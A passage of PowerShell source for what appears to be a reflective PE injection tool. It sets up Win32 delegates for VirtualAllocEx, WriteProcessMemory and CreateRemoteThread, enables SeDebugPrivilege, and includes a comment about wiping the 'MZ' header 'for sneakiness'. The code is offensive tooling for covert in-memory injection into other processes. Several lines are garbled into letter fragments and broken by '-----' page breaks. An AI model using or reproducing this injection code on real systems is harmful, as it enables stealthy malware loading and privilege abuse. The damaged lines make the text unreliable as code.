$TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
$TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
$TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
$LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES

#Struct TOKEN_PRIVILEGES
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
$TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
$TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES

return $Win32Types
}

Function Get-Win32Constants
{
$Win32Constants = New-Object System.Object

$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000

$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE DLLCHARACTERISTICS DYNAMIC BASE -Value 0x40


-----

$ 3 Co sta ts | dd e be e be ype ote ope ty a e G _ C C S CS_ _CO a ue 0 00
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
$Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
$Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
$Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
$Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0

return $Win32Constants
}

Function Get-Win32Functions
{
$Win32Functions = New-Object System.Object

$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc

$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr,
$VirtualAllocExDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx

$memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
$memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
$memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy

$memsetAddr = Get-ProcAddress msvcrt.dll memset
$memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
$memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset

$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary

$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr,
$GetProcAddressDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress

$GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell
converting the string to a pointer, you must do it yourself
$GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
$GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr,
$GetProcAddressIntPtrDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr

$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree

$VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
$VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
$VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr,
$VirtualFreeExDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx


-----

$ tua otect dd Get oc dd ess e e 3 d tua otect
$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr,
$VirtualProtectDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect

$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
$GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr,
$GetModuleHandleDelegate)
$Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle

$FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
$FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary

$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr,
$OpenProcessDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess

$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr,
$WaitForSingleObjectDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject

$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr,
$WriteProcessMemoryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory

$ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
$ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
$ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr,
$ReadProcessMemoryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory

$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr,
$CreateRemoteThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread

$GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
$GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
$GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr,
$GetExitCodeThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread

$OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
$OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
$OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr,
$OpenThreadTokenDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken

$GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
$GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
$GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr,
$GetCurrentThreadDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread


-----

$AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
$AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
$AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr,
$AdjustTokenPrivilegesDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges

$LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
$LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
$LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr,
$LookupPrivilegeValueDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue

$ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
$ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
$ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr,
$ImpersonateSelfDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf

# NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP
if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version'
6,2))) {
$NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
$NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool],

[UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
$NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr,
$NtCreateThreadExDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
}

$IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr,
$IsWow64ProcessDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process

$CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr,
$CreateThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread

return $Win32Functions
}
#####################################

#####################################
###########  HELPERS ############
#####################################

#Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function
#This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses
Function Sub-SignedIntAsUnsigned
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,

[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2

)


-----

[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)

if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
$CarryOver = 0
for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
{
$Val = $Value1Bytes[$i] - $CarryOver
#Sub bytes
if ($Val -lt $Value2Bytes[$i])
{
$Val += 256
$CarryOver = 1
}
else
{
$CarryOver = 0
}

[UInt16]$Sum = $Val - $Value2Bytes[$i]

$FinalBytes[$i] = $Sum -band 0x00FF
}
}
else
{
Throw "Cannot subtract bytearrays of different sizes"
}

return [BitConverter]::ToInt64($FinalBytes, 0)
}

Function Add-SignedIntAsUnsigned
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,

[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)

[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)

if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
$CarryOver = 0
for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
{
#Add bytes
[UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver

$FinalBytes[$i] = $Sum -band 0x00FF

if (($Sum -band 0xFF00) -eq 0x100)


-----

{
$CarryOver = 1
}
else
{
$CarryOver = 0
}
}
}
else
{
Throw "Cannot add bytearrays of different sizes"
}

return [BitConverter]::ToInt64($FinalBytes, 0)
}

Function Compare-Val1GreaterThanVal2AsUInt
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,

[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)

[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)

if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)
{
if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
{
return $true
}
elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
{
return $false
}
}
}
else
{
Throw "Cannot compare byte arrays of different size"
}

return $false
}

Function Convert-UIntToInt
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[UInt64]
$Value
)


-----

[ yte[]]$ a ue ytes [ tCo e te ] Get ytes($ a ue)
return ([BitConverter]::ToInt64($ValueBytes, 0))
}

Function Get-Hex
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
$Value #We will determine the type dynamically
)

$ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2
$Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first.

return $Hex
}

Function Test-MemoryRangeValid
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[String]
$DebugString,

[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$PEInfo,

[Parameter(Position = 2, Mandatory = $true)]
[IntPtr]
$StartAddress,

[Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
[IntPtr]
$Size
)

[IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))

$PEEndAddress = $PEInfo.EndAddress

if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
{
Throw "Trying to write to memory smaller than allocated address range. $DebugString"
}
if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
{
Throw "Trying to write to memory greater than allocated address range. $DebugString"
}
}

Function Write-BytesToMemory
{
Param(
[Parameter(Position=0, Mandatory = $true)]
[Byte[]]
$Bytes,

[Parameter(Position=1, Mandatory = $true)]
[IntPtr]

$MemoryAddress


-----

)

for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
{
[System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
}
}

#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
Function Get-DelegateType
{
Param
(
[OutputType([Type])]

[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),

[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)

$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public',

[System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')

Write-Output $TypeBuilder.CreateType()
}

#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
Function Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]

[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,

[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)

# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')

[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null,

[System Reflection CallingConventions]::Any @((New-Object System Runtime InteropServices HandleRef) GetType() [string]) $null);


-----

# Get a a d e to t e odu e spec ed
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)

# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}

Function Enable-SeDebugPrivilege
{
Param(
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,

[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Types,

[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Constants
)

[IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
if ($ThreadHandle -eq [IntPtr]::Zero)
{
Throw "Unable to get the handle to the current thread"
}

[IntPtr]$ThreadToken = [IntPtr]::Zero
[Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor
$Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
if ($Result -eq $false)
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
{
$Result = $Win32Functions.ImpersonateSelf.Invoke(3)
if ($Result -eq $false)
{
Throw "Unable to impersonate self"
}

$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor
$Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
if ($Result -eq $false)
{
Throw "Unable to OpenThreadToken."
}
}
else
{
Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
}
}

[IntPtr]$PLuid =

[System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
$Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
if ($Result -eq $false)

{


-----

o U ab e to ca oo up ege a ue
}

[UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
[IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
$TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem,

[Type]$Win32Types.TOKEN_PRIVILEGES)
$TokenPrivileges.PrivilegeCount = 1
$TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
$TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
[System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)

$Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero,

[IntPtr]::Zero)
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value
if (($Result -eq $false) -or ($ErrorCode -ne 0))
{
#Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set
}

[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
}

Function Create-RemoteThread
{
Param(
[Parameter(Position = 1, Mandatory = $true)]
[IntPtr]
$ProcessHandle,

[Parameter(Position = 2, Mandatory = $true)]
[IntPtr]
$StartAddress,

[Parameter(Position = 3, Mandatory = $false)]
[IntPtr]
$ArgumentPtr = [IntPtr]::Zero,

[Parameter(Position = 4, Mandatory = $true)]
[System.Object]
$Win32Functions
)

[IntPtr]$RemoteThreadHandle = [IntPtr]::Zero

$OSVersion = [Environment]::OSVersion.Version
#Vista and Win7
if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
{
#Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress"
$RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle,
$StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($RemoteThreadHandle -eq [IntPtr]::Zero)
{
Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
}
}
#XP/Win8
else
{
#Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress"

$RemoteThreadHandle = $Win32Functions CreateRemoteThread Invoke($ProcessHandle [IntPtr]::Zero [UIntPtr][UInt64]0xFFFF


-----

$Sta t dd ess, $ gu e t t, 0, [ t t ] e o)
}

if ($RemoteThreadHandle -eq [IntPtr]::Zero)
{
#Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop
}

return $RemoteThreadHandle
}

Function Get-ImageNtHeaders
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[IntPtr]
$PEHandle,

[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Types
)

$NtHeadersInfo = New-Object System.Object

#Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness
$dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)

#Get IMAGE_NT_HEADERS
[IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
$imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr,

[Type]$Win32Types.IMAGE_NT_HEADERS64)

#Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen.
if ($imageNtHeaders64.Signature -ne 0x00004550)
{
throw "Invalid IMAGE_NT_HEADER signature."
}

if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
{
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
}
else
{
$ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr,

[Type]$Win32Types.IMAGE_NT_HEADERS32)
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
}

return $NtHeadersInfo
}

#This function will get the information needed to allocated space in memory for the PE
Function Get-PEBasicInfo
{
Param(

[Parameter(Position = 0 Mandatory = $true)]


-----

[Syste Object]
$Win32Types
)

$PEInfo = New-Object System.Object

#Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot.
[IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
